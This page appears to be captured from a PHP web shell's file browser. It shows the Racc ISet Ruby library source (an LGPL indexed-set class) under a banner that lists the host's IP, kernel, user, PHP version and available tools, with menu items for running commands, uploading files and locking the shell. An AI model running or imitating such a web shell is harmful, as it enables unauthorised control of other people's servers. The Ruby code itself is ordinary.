gzuncompress
|
Server IP : 172.19.0.2 / Your IP : 216.73.216.178 Web Server : Apache/2.4 System : Linux 880f91b28fd7 5.15.0-117-generic #127~20.04.1-Ubuntu SMP Thu Jul 11 15:36:12 UTC 2024 x86_64 User : tomlinde ( 155017) PHP Version : 5.6.40 Disable Function : dl, syslog, opcache_get_status MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /tmp/../lib/x86_64-linux-gnu/../ruby/2.7.0/racc/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] | [ Lock Shell ] | [ Logout ] |
|---|
#
# $Id: 31aa4331c08dfd4609c06eb5f94b7ef38dc708e1 $
#
# Copyright (c) 1999-2006 Minero Aoki
#
# This program is free software.
# You can distribute/modify this program under the terms of
# the GNU LGPL, Lesser General Public License version 2.1.
# For details of the GNU LGPL, see the file "COPYING".
#
module Racc
# An "indexed" set. All items must respond to :ident.
class ISet
def initialize(a = [])
@set = a
end
attr_reader :set
def add(i)
@set[i.ident] = i
end
def [](key)
@set[key.ident]
end
def []=(key, val)
@set[key.ident] = val
end
alias include? []
alias key? []
def update(other)
s = @set
o = other.set
o.each_index do |idx|
if t = o[idx]
s[idx] = t
end
end
end
def update_a(a)
s = @set
a.each {|i| s[i.ident] = i }
end
def delete(key)
i = @set[key.ident]
@set[key.ident] = nil
i
end
def each(&block)
@set.compact.each(&block)
end
def to_a
@set.compact
end
def to_s
"[#{@set.compact.join(' ')}]"
end
alias inspect to_s
def size
@set.nitems
end
def empty?
@set.nitems == 0
end
def clear
@set.clear
end
def dup
ISet.new(@set.dup)
end
end # class ISet
end # module Racc